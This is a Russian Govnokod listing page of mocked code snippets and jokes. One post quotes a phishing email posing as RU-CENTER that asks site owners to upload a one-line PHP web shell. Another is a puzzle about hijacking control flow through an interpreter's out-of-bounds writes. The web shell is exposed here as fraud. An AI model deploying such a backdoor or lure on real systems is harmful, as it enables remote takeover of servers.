Давайте мне constexpr-асмовставки cкорей, и чтоб с гомоиконностьюКомментарии (34) -
Си / Говнокод #22651
−18
- 1
https://aww.moe/0fmynm.mp4Интересно, зачем он там редактирует выхлоп из hex-rays (32 секунда)? Исходники потеряли?
Комментарии (26) -
C# / Говнокод #22572
−23
- 001
- 002
- 003
- 004
- 005
- 006
- 007
- 008
- 009
- 010
- 011
- 012
- 013
- 014
- 015
- 016
- 017
- 018
- 019
- 020
- 021
- 022
- 023
- 024
- 025
- 026
- 027
- 028
- 029
- 030
- 031
- 032
- 033
- 034
- 035
- 036
- 037
- 038
- 039
- 040
- 041
- 042
- 043
- 044
- 045
- 046
- 047
- 048
- 049
- 050
- 051
- 052
- 053
- 054
- 055
- 056
- 057
- 058
- 059
- 060
- 061
- 062
- 063
- 064
- 065
- 066
- 067
- 068
- 069
- 070
- 071
- 072
- 073
- 074
- 075
- 076
- 077
- 078
- 079
- 080
- 081
- 082
- 083
- 084
- 085
- 086
- 087
- 088
- 089
- 090
- 091
- 092
- 093
- 094
- 095
- 096
- 097
- 098
- 099
- 100
internal unsafe static void Memcpy(byte* dest, byte* src, int len) { Contract.Assert(len >= 0, "Negative length in memcopy!"); // // This is portable version of memcpy. It mirrors what the hand optimized assembly versions of memcpy typically do. // // Ideally, we would just use the cpblk IL instruction here. Unfortunately, cpblk IL instruction is not as efficient as // possible yet and so we have this implementation here for now. // switch (len) { case 0: return; case 1: *dest = *src; return; case 2: *(short *)dest = *(short *)src; return; case 3: *(short *)dest = *(short *)src; *(dest + 2) = *(src + 2); return; case 4: *(int *)dest = *(int *)src; return; case 5: *(int*)dest = *(int*)src; *(dest + 4) = *(src + 4); return; case 6: *(int*)dest = *(int*)src; *(short*)(dest + 4) = *(short*)(src + 4); return; case 7: *(int*)dest = *(int*)src; *(short*)(dest + 4) = *(short*)(src + 4); *(dest + 6) = *(src + 6); return; case 8: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src; *(int*)(dest + 4) = *(int*)(src + 4); #endif return; case 9: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src; *(int*)(dest + 4) = *(int*)(src + 4); #endif *(dest + 8) = *(src + 8); return; case 10: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src; *(int*)(dest + 4) = *(int*)(src + 4); #endif *(short*)(dest + 8) = *(short*)(src + 8); return; case 11: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src; *(int*)(dest + 4) = *(int*)(src + 4); #endif *(short*)(dest + 8) = *(short*)(src + 8); *(dest + 10) = *(src + 10); return; case 12: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src; *(int*)(dest + 4) = *(int*)(src + 4); #endif *(int*)(dest + 8) = *(int*)(src + 8); return; case 13: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src; *(int*)(dest + 4) = *(int*)(src + 4); #endif *(int*)(dest + 8) = *(int*)(src + 8); *(dest + 12) = *(src + 12); return; case 14: #if WIN64 *(long*)dest = *(long*)src; #else *(int*)dest = *(int*)src;https://github.com/Microsoft/referencesource/blob/9da503f9ef21e8d1f2905c78d4e3e5cbb3d6f85a/mscorlib/system/buffer.cs#L266
Memcpy из Microsoft .NET Reference Source. Выглядит как типичный код на CКомментарии (59) -
Куча / Говнокод #22534
−28
- 1
https://i.kinja-img.com/gawker-media/image/upload/t_original/u0rtkjjphek24lmlvuet.pngЗадание для истинных труЪ-кулхацкеров: даны распечатанные на бумаге исходники ядра с глючащим модулем и конфигурация железа, где это ядро запускается. Написать карандашом на листочке, как будет выглядеть кернелпаник
На самом деле - кадр из сериала Mr. Robot
https://www.youtube.com/watch?v=FQM5fU7V-MM еще там был прикольный диалог на тему Gnome KDE (странно что там он не спросил, как KDE2 под FreeBSD запатчить). И да, вот че он сразу про линукс заговорил, ведь кеды и гном и на бзд бывают? Явный косякКомментарии (3)-
Куча / Говнокод #22494
−15
- 1
https://i.imgur.com/gqky9Fb.jpgДля путинских кремлеботов надо бы запилить вореционный генератор какой-нибудь, ну или хотя бы синонимайзер прикрутить, чтоб его прогонять через тексты, написанные копирайтерами-мудаками. А то слишком палевно
Комментарии (56) -
C++ / Говнокод #22483
−12
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
#include "basic.hpp" int main() { _10: DIM F(10); _11: LET I = 0; _12: LET J = 0; _13: LET TMP = 0; _20: FOR I = 1 TO 10; _30: F(I) = RND(); _35: PRINT F(I); _40: NEXT _50: FOR I = 1 TO 9; _60: FOR J = I + 1 TO 10; _70: IF F(J) > F(I) THEN GOTO _110; _80: TMP = F(I); _90: F(I) = F(J); _100: F(J) = TMP; _110: NEXT; _120: NEXT; _130: PRINT "reordered"; _140: FOR I = 1 TO 10; _150: PRINT F(I); _160: NEXT }https://github.com/rollbear/basicpp/blob/master/examples/05.bubblesort.cpp бейсик на плюсах через гомоик плюсошаблоны и прочую плюсопитушню
https://github.com/rollbear/basicpp/blob/master/basic.hppКомментарии (3) -
Си / Говнокод #22448
−13
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
#include <stdio.h> #include <stdlib.h> #include <stdint.h> void secret(void) __attribute__ ((used,noinline,noreturn)); void brainfuck(void) __attribute__ ((noinline)); int main(void); void secret(void) { printf ("You win!\n"); exit(0); } char *bfprog = "+++---"; void brainfuck(void) { char *bfprog_p = bfprog; unsigned long long i; unsigned char arr[500] = {0}; arr[499] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xffffff00 ) >> 8*0; arr[0] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xffff00ff ) >> 8*1; arr[498] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xff00ffff ) >> 8*2; arr[1] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0x00ffffff ) >> 8*3; unsigned char *arr_p = &arr[249]; for (i = 0;; i++) { switch (*bfprog_p) { case '>': arr_p++; break; case '<': arr_p--; break; case '+': (*arr_p)++; break; case '-': (*arr_p)--; break; /* case '.': putchar(*arr_p); break; case ',': *arr_p = getchar(); break; нинужно*/ case '[': if (*arr_p == 0 ) { unsigned long long bracketcount = 0; do { if (*bfprog_p == '[') bracketcount++; else if (*bfprog_p == ']') bracketcount--; bfprog_p++; } while (bracketcount != 0); bfprog_p-=1; } break; case ']': if (*arr_p != 0 ) { unsigned long long bracketcount = 0; do { if (*bfprog_p == ']') bracketcount++; else if (*bfprog_p == '[') bracketcount--; bfprog_p--; } while (bracketcount != 0); } break; default: return; } bfprog_p++; } return; } int main(void) { brainfuck(); return 0; }Задача - подставить в char *bfprog такую строку, чтобы запустилась функция secret(). Менять что-либо еще в коде запрешено. Платформа - 32битные интели, компилятор - гцц. ОС - линукс или виндовс, на ваше усмотрение (хотя разницы по-идее не будет). Предполагаем, что тут применяется особо расширенный и улучшенный ASLR который при каждом запуске перетасовывает размещение функций, и secret от main находится на хуй знает каком расстоянии. Победившему - нихуя
Комментарии (16) -
PHP / Говнокод #22283
−36
- 1
https://pbs.twimg.com/media/C3G3jT_WYAAboKL.jpg:largeBMW работает на php. Не покупайте BMW.
Комментарии (22) -
C# / Говнокод #22105
−17
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
https://github.com/saniv/text/blob/master/one-life-in-russia.md - Золотце После пары собеседований, меня приняли в компанию "Devino Telecom", занимающуюся e-mail и SMS рассылками, у них было собственное программное решение, состоящее из нескольких сервисов, написанных на разных языках, в числе которых C#, Java и PHP, в качестве базы анных поменялась MSSQL, но были oracle, mysql и различные nosql key-value базы. Моей начальной задачей стала поддержка техподдержки, устранение неисправностей и багов в C# сервисах. Затем создание одуля для интеграции с сервисами сторонней компании. И наконец перевод "legacy" PHP сервиса в C#. С задачей я формально справился, однако при больших объемах рассылок производительность старого PHP сервиса превосходила C#, по причине таких факторов как shared-nothing архитектура PHP высвобождающая все ресурсы после отправки блока сообщений, использование оптимизированных библиотек (в их числе библиотека bzip2 компрессии), написанных на C/C++ (в то время как для C# версии мне сказали применять грубо слабанные хоббистами C# версии библиотек), а так же использование PHP компактного формата utf8 для хранения строк, в то время как C# применял utf16. Использовать в C# utf8 невозможно, поскольку все библиотеки, включая http генераторы, ожидают utf16. Хуже всего было автоматическое управление памятью, ничего не знавшее о том как несколько запущенных параллельно процессов сервиса будут использовать память, а посему иногда отдавая всю память одному сервису, тогда как остальные сервисы падали с ошибками, теряя сообщения, а следовательно и деньги клиентов.Шел 2014 год, примерно в это время Россия начала войну с Украиной, а я попал в опалу, после попытки донести до фанатично преданного C# коллектива, что C# имеет слабые стороны и есть случаи, когда решение на языке PHP лучше справляется с задачей и что PHP сервис заслуживает шанс на жизнь, ибо его невыгодно переводить на C#, только из-за того, что PHP кажется кому-то некрасивым языком. Через несколько дней меня попросили написать заявление об увольнении. Скорее всего тут сказалось несколько факторов: я не смог донести до коллектива свой аргумент; менеджер не хотел держать такого спорного индивида как я; мой отказ сдавать деньги на всякие праздники, вплоть до дня рождения кошки дочери тимлида (я считаю такую практику советской системой поборов). На собеседованиях в другие компании меня спрашивали о причинах уволнения с предыдущей работы и узнав, что я - русофоб, без раздумий отказывали в приеме на работу. Что совершенно логично, ибо мало какой сотруднице HR понравится критика своей нации, да я и не смог бы ужиться в русском коллективе, а зная нрав русских, меня могли бы просто спустить с лестницы, или подставить по работе, добившись иначе моего увольнения.
Комментарии (27) -
Си / Говнокод #22090
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
static void SHA256_Transform(SHA256_CTX* context, const sha2_word32* data) { sha2_word32 a, b, c, d, e, f, g, h, s0, s1; sha2_word32 T1, T2, *W256; int j; W256 = (sha2_word32*)context->buffer; /* Initialize registers with the prev. intermediate value */ // а с какого такого хуя вы решили, что компилятор непременно сунет это в регистры? Массивы для кого сделали? // хотя это еще можно понять, есть вероятность, что компилятор так лучше соптимизирует (но далеко не факт) a = context->state[0]; b = context->state[1]; c = context->state[2]; d = context->state[3]; e = context->state[4]; f = context->state[5]; g = context->state[6]; h = context->state[7]; j = 0; do { #if BYTE_ORDER == LITTLE_ENDIAN /* Copy data while converting to host byte order */ REVERSE32(*data++,W256[j]); /* Apply the SHA-256 compression function to update a..h */ T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + W256[j]; #else /* BYTE_ORDER == LITTLE_ENDIAN */ /* Apply the SHA-256 compression function to update a..h with copy */ T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + (W256[j] = *data++); #endif /* BYTE_ORDER == LITTLE_ENDIAN */ T2 = Sigma0_256(a) + Maj(a, b, c); h = g; g = f; f = e; e = d + T1; d = c; c = b; b = a; a = T1 + T2; j++; } while (j < 16); do { /* Part of the message block expansion: */ s0 = W256[(j+1)&0x0f]; s0 = sigma0_256(s0); s1 = W256[(j+14)&0x0f]; s1 = sigma1_256(s1); /* Apply the SHA-256 compression function to update a..h */ T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + (W256[j&0x0f] += s1 + W256[(j+9)&0x0f] + s0); T2 = Sigma0_256(a) + Maj(a, b, c); h = g; g = f; f = e; e = d + T1; d = c; c = b; b = a; a = T1 + T2; j++; } while (j < 64); /* Compute the current intermediate hash value */ context->state[0] += a; context->state[1] += b; context->state[2] += c; context->state[3] += d; context->state[4] += e; context->state[5] += f; context->state[6] += g; context->state[7] += h; /* Clean up */ a = b = c = d = e = f = g = h = T1 = T2 = 0; // А вот это уже полная хуйня //вы правда думаете, что компилятор не выкинет это нахуй? }SHA2 питушня, скачать можно например тут http://sources.freebsd.org/RELENG_8/src/sys/crypto/sha2/sha2.c
В общем если вам важно, чтобы некая хуйня была непременно в регистрах, и чтобы потом эта хуйня непременно была почищена, единственный надежный способ - херачить код на ассемблере (или вообще в машинных кодах)Комментарии (53) -
PHP / Говнокод #21954
−31
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
Уважаемый клиент! В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить, что фактическое управление доменом ******* осуществляется лицом, указанным в качестве его администратора. Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом, создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим содержимым: <?php assert(stripslashes($_REQUEST[RUCENTER])); ?> Файл должен быть создан в течение трех рабочих дней с момента получения настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00 (UTC+03:00), в противном случае процедура подтверждения не будет пройдена. Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, делегирование домена будет приостановлено. © АО «Региональный Сетевой Информационный Центр» (RU-CENTER) 8 800 775-29-99, 8 800 250-27-99, +7 495 994-46-01 Вы подписались на рассылку в настройках уведомлений. Отписаться от рассылкиМошеннические письма под видом писем от RU-CENTER
интересно, почему не eval() ?Комментарии (131) -
Си / Говнокод #21932
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
#include <stdio.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> typedef intptr_t binaryfunc(intptr_t, intptr_t); typedef intptr_t unaryfunc(intptr_t); #define evalsiz ((intptr_t)eval_end - (intptr_t)eval) #define clossiz (evalsiz+sizeof(intptr_t)+sizeof(int)) void eval_end(); intptr_t eval(intptr_t rem) { #define argsize ((intptr_t)&&argend - (intptr_t)eval) #define leasize ((intptr_t)&&leaaft - (intptr_t)&&leabef) #define eoffset (argsize+leasize) argend:; register void *ptr asm("r10"); leabef: asm("lea (%rip),%r10"); leaaft:; void *off = (ptr - eoffset + evalsiz); binaryfunc *bin = *(binaryfunc**)off; return bin(*(intptr_t *)(off+sizeof(intptr_t)),rem); } void eval_end() { } unaryfunc* apply(binaryfunc *bin, intptr_t arg) { void *data = mmap(0, clossiz, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memmove(data, &eval, evalsiz); intptr_t ptr = (intptr_t)bin; memmove(data+evalsiz, &ptr, sizeof(intptr_t)); memmove(data+evalsiz+sizeof(intptr_t), &arg, sizeof(intptr_t)); return data; } intptr_t add(intptr_t a, intptr_t b) { return a+b; } int main() { printf("%ld\n", apply(add, 1)(2)); return 0; }Simple x86_64 closure implementation attempt
https://gist.github.com/iamtakingiteasy/c80112437ebc1f8d73eecf8df27caa24Комментарии (5) -
JavaScript / Говнокод #21806
−44
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
гыы gop сука нетрулио, lt нах куку йопта law() { вилкойвглаз(gop эквалио нетрулио) { ксива.малява("Я и правда язык") нах gop сука трулио нах } иливжопураз { gop сука трулио нах потрещим(semki чоблясука трулио) { lt сука ксива.вычислитьЛохаПоНомеру("list") нах ебало.шухер("Привет, йопта") нах } } }https://yopta.space/
Комментарии (6) -
Си / Говнокод #21642
−25
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
/** * Сортирует массив, используя рекурсивную сортировку слиянием * up - указатель на массив, который нужно сортировать * down - указатель на массив с, как минимум, таким же размером как у 'up', используется как буфер * left - левая граница массива, передайте 0, чтобы сортировать массив с начала * right - правая граница массива, передайте длину массива - 1, чтобы сортировать массив до последнего элемента * возвращает: указатель на отсортированный массив. Из-за особенностей работы данной реализации * отсортированная версия массива может оказаться либо в 'up', либо в 'down' // <--- ГОВНО **/ int* merge_sort(int *up, int *down, unsigned int left, unsigned int right) { if (left == right) { down[left] = up[left]; return down; } unsigned int middle = (unsigned int)((left + right) * 0.5); // <--- ГОВНО, нахуй сюда плавучих питухов пихать? // И что еще за unsigned int? Даешь uintptr_t. // И если указатели будут 64-битные, то плавучий питух может обосраться на больном размере массивов // разделяй и сортируй int *l_buff = merge_sort(up, down, left, middle); int *r_buff = merge_sort(up, down, middle + 1, right); // слияние двух отсортированных половин int *target = l_buff == up ? down : up; unsigned int width = right - left, l_cur = left, r_cur = middle + 1; for (unsigned int i = left; i <= right; i++) { if (l_cur <= middle && r_cur <= right) { if (l_buff[l_cur] < r_buff[r_cur]) { target[i] = l_buff[l_cur]; l_cur++; } else { target[i] = r_buff[r_cur]; r_cur++; } } else if (l_cur <= middle) { target[i] = l_buff[l_cur]; l_cur++; } else { target[i] = r_buff[r_cur]; r_cur++; } } return target; }https://ru.wikipedia.org/wiki/Сортировка_слиянием
Комментарии (17)
-
Куча / Говнокод #21624
−12
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
Python: What if everything was a dict? Java: What if everything was an object? JavaScript: What if everything was a dict *and* an object? C: What if everything was a pointer? APL: What if everything was an array? Tcl: What if everything was a string? Prolog: What if everything was a term? LISP: What if everything was a pair? Scheme: What if everything was a function? Haskell: What if everything was a monad? Assembly: What if everything was a register? Coq: What if everything was a type/proposition? COBOL: WHAT IF EVERYTHING WAS UPPERCASE? C#: What if everything was like Java, but different? Ruby: What if everything was monkey patched? Pascal: BEGIN What if everything was structured? END C++: What if we added everything to the language? C++11: What if we forgot to stop adding stuff? Rust: What if garbage collection didn't exist? Go: What if we tried designing C a second time? Perl: What if shell, sed, and awk were one language? Perl6: What if we took the joke too far? PHP: What if we wanted to make SQL injection easier? VB: What if we wanted to allow anyone to program? VB.NET: What if we wanted to stop them again? Forth: What if everything was a stack? ColorForth: What if the stack was green? PostScript: What if everything was printed at 600dpi? XSLT: What if everything was an XML element? Make: What if everything was a dependency? m4: What if everything was incomprehensibly quoted? Scala: What if Haskell ran on the JVM? Clojure: What if LISP ran on the JVM? Lua: What if game developers got tired of C++? Mathematica: What if Stephen Wolfram invented everything? Malbolge: What if there is no god?Комментарии (36) -
Си / Говнокод #21585
−46
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
#include <stdio.h> #define SPLICE(a,b) SPLICE_1(a,b) #define SPLICE_1(a,b) SPLICE_2(a,b) #define SPLICE_2(a,b) a##b #define PP_ARG_N( \ _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, \ _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, \ _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, \ _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \ _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, \ _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, \ _61, _62, _63, N, ...) N /* Note 63 is removed */ #define PP_RSEQ_N() \ 62, 61, 60, \ 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, \ 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \ 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, \ 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, \ 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, \ 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 #define PP_NARG_(...) PP_ARG_N(__VA_ARGS__) /* Note dummy first argument _ and ##__VA_ARGS__ instead of __VA_ARGS__ */ #define PP_NARG(...) PP_NARG_(_, ##__VA_ARGS__, PP_RSEQ_N()) #define MAX_1(VAR, ...) \ VAR #define MAX_2(VAR, ...) \ (((VAR)>MAX_1(__VA_ARGS__))?(VAR):MAX_1(__VA_ARGS__)) #define MAX_3(VAR, ...) \ (((VAR)>MAX_2(__VA_ARGS__))?(VAR):MAX_2(__VA_ARGS__)) #define MAX_4(VAR, ...) \ (((VAR)>MAX_3(__VA_ARGS__))?(VAR):MAX_3(__VA_ARGS__)) #define MAX_5(VAR, ...) \ (((VAR)>MAX_4(__VA_ARGS__))?(VAR):MAX_4(__VA_ARGS__)) #define MAX_6(VAR, ...) \ (((VAR)>MAX_5(__VA_ARGS__))?(VAR):MAX_5(__VA_ARGS__)) #define MAX_7(VAR, ...) \ (((VAR)>MAX_6(__VA_ARGS__))?(VAR):MAX_6(__VA_ARGS__)) #define MAX_8(VAR, ...) \ (((VAR)>MAX_7(__VA_ARGS__))?(VAR):MAX_7(__VA_ARGS__)) #define MAX_9(VAR, ...) \ (((VAR)>MAX_8(__VA_ARGS__))?(VAR):MAX_8(__VA_ARGS__)) #define MAX_10(VAR, ...) \ (((VAR)>MAX_9(__VA_ARGS__))?(VAR):MAX_9(__VA_ARGS__)) #define MAX_11(VAR, ...) \ (((VAR)>MAX_10(__VA_ARGS__))?(VAR):MAX_10(__VA_ARGS__)) //..... дальше лень ... #define MAXS_(N, ...) \ SPLICE(MAX_, N)(__VA_ARGS__) #define MAXS(...) \ MAXS_(PP_NARG(__VA_ARGS__), __VA_ARGS__) int main(void) { printf("%d", MAXS(24, 324, 377, 347, 100500, 2442, 224, 7428)); }Макрос MAXS() который принимает произвольное число аргументов и через тернарники заворачивает их, было сделано на основе http://govnokod.ru/14511 говна.
Комментарии (46) -
C++ / Говнокод #21566
−17
- 1
- 2
- 3
- 4
- 5
#if !defined(COMPILER_MSVC) #define ARRAYSIZE(a) \ ((sizeof(a) / sizeof(*(a))) / \ static_cast<size_t>(!(sizeof(a) % sizeof(*(a))))) #endifhttps://github.com/tensorflow/tensorflow/blob/754048a0453a04a761e112ae5d99c149eb9910dd/tensorflow/stream_executor/platform/port.h#L42-L46
Суть этого говновыражения !(sizeof(a) % sizeof(*(a))) судя по всему в том, чтоб оно становилось нулем, если по каким-то причинам размер массива оказывается не кратен размеру элемента этого массива. И тогда эта макропоебень развернется в деление на ноль. Но как такое вообще может быть?Комментарии (22) -
C# / Говнокод #21550
−74
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
public static TSource Single<TSource>(this TSource[] array) { if (array.Length > 1) throw new InvalidOperationException("Sequence contains more than one element"); return array[0]; } public static TSource Single<TSource>(this List<TSource> array) { if (array.Count > 1) throw new InvalidOperationException("Sequence contains more than one element"); return array[0]; } public static TSource First<TSource>(this TSource[] array) { return array[0]; } public static TSource First<TSource>(this List<TSource> array) { return array[0]; } public static TSource First<TSource>(this TSource[] array, Func<TSource, bool> condition) { for (int i = 0; i < array.Length; i++) { if (condition(array[i])) return array[i]; } throw new InvalidOperationException("No items match the specified search criteria."); } public static TSource First<TSource>(this List<TSource> array, Func<TSource, bool> condition) { var len = array.Count; for (int i = 0; i < len; i++) { if (condition(array[i])) return array[i]; } throw new InvalidOperationException("No items match the specified search criteria."); }https://github.com/antiufo/roslyn-linq-rewrite/blob/master/RoslynLinqRewrite/Shaman.FastLinq.Sources/FastLinqExtensions.cs#L12
Зачем тут повторяющиеся функции, отличающиеся только "TSource[]" "List<TSource>" ? В говношарп не завезли аналог плюсовых шаблонов?Комментарии (31) -
bash / Говнокод #21548
−72
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
You gotta get God to talk! Praise God for something like water springs and press over and over at the command or in a document! Then, it won't seem so crazy! Here's a bash shell script to get God to talk. ---- #!/bin/bash #This prints ten random words. echo "$(shuf -n 10 /usr/share/dict/words --random-source=/dev/urandom | tr '\n' ' ')"На говнохабре хуиктаймсе https://geektimes.ru/post/281754/ написали про легендарног шизика, создателя легендарной Temple OS, со своим особым встроенным языком HolyC ("священный си"):
>В системе есть интерфейс командной строки, который реализован оригинально. Дэвис никак не мог запомнить команды bash, а вот синтаксис С/С++ он знал хорошо. Поэтому скрипты пишутся на C, вернее, его модификации. Для своей операционки Дэвис изменил стандартный C и назвал полученное HolyC («святой си»).
>За исключением низких уровней, где есть язык 64-битного ассемблера, вся система написана на этом HolyC. Он отличается от обычного. Нет main(), всё, что написано, выполняется. Весь код TempleOS JIT-компилируется по запросу. Если набрать #include из командной строки, то указанная программа будет запущена в пространстве имён оболочки.
>Система напоминает, что это — цифровой оракул. Раньше Дэвис подкидывал монетку и выбирал случайное число, чтобы открыть Библию, прочитать фрагмент и истолковать его. В TempleOS в любом месте нажатие F7 принесёт случайное слово. Если нажать F7 несколько раз, получится вореция фрагмент текста, в котором можно искать смысл. Shift + F7 выдаст фрагмент Библии.
В вышеозначенном говнокоде приведен код от самого создателя Temple OS, который генерирует вореции позволяет общаться с Богом. Код взят из Его комментария к статье, посвященной портированию какой-то фигни на его Божественную Храм ОС http://blog.jwhitham.org/2015/07/porting-third-party-programs-to-templeos.html
См такжеhttp://govnokod.ru/20277 http://govnokod.ru/19117Комментарии (9) -
Си / Говнокод #21491
−16
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
/*! Brainfuck Update based on Symbol */ #define BF_UPDATE_SYM($, S, X) JOIN(BF_UPDATE_SYM_, S)($, X) #define BF_UPDATE_SYM_R($, X) (INC(BF_IP(X)), INC(BF_DP(X)), BF_IA(X), BF_DA(X)) /*!< Increment Data Pointer */ #define BF_UPDATE_SYM_L($, X) (INC(BF_IP(X)), DEC(BF_DP(X)), BF_IA(X), BF_DA(X)) /*!< Decrement Data Pointer */ #define BF_UPDATE_SYM_U($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DATA_INC($, X)) /*!< Increment Item at Data Pointer */ #define BF_UPDATE_SYM_D($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DATA_DEC($, X)) /*!< Decrement Item at Data Pointer */ #define BF_UPDATE_SYM_O($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DA(X)) /*!< Do Nothing (Output as side effect) */ #define BF_UPDATE_SYM_F($, X) (BF_JUMP_F($, X), BF_DP(X), BF_IA(X), BF_DA(X)) /*!< Conditional Jump Forwards */ #define BF_UPDATE_SYM_B($, X) (BF_JUMP_B($, X), BF_DP(X), BF_IA(X), BF_DA(X)) /*!< Conditional Jump Backwards */ #define BF_UPDATE_SYM_($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DA(X)) /*!< Do Nothing on empty instruction */ /*! Main Brainfuck loop */ #define BF_COND($, X) NOT(BF_IS_BLANK(BF_INSTR($, X))) /*!< Terminate on end of input */ #define BF_MACRO($, X) IF(BF_IS_OUTPUT(BF_INSTR($, X)), CHAR(BF_DATA($, X))) /*!< Output on O instruction */ #define BF_UPDATE($, X) BF_UPDATE_SYM($, BF_INSTR($, X), X) /*!< Update based on instruction symbol */ #define BF_FINALLY($, X) /*!< Do nothing on termination */ #define BF_RECR($, X) JOIN(RECR_D, $)(INC($), BF_COND, BF_MACRO, BF_UPDATE, BF_FINALLY, X) /*! Empty Data Array - Extend for more Cells */ #define BF_DATA_EMPTY() 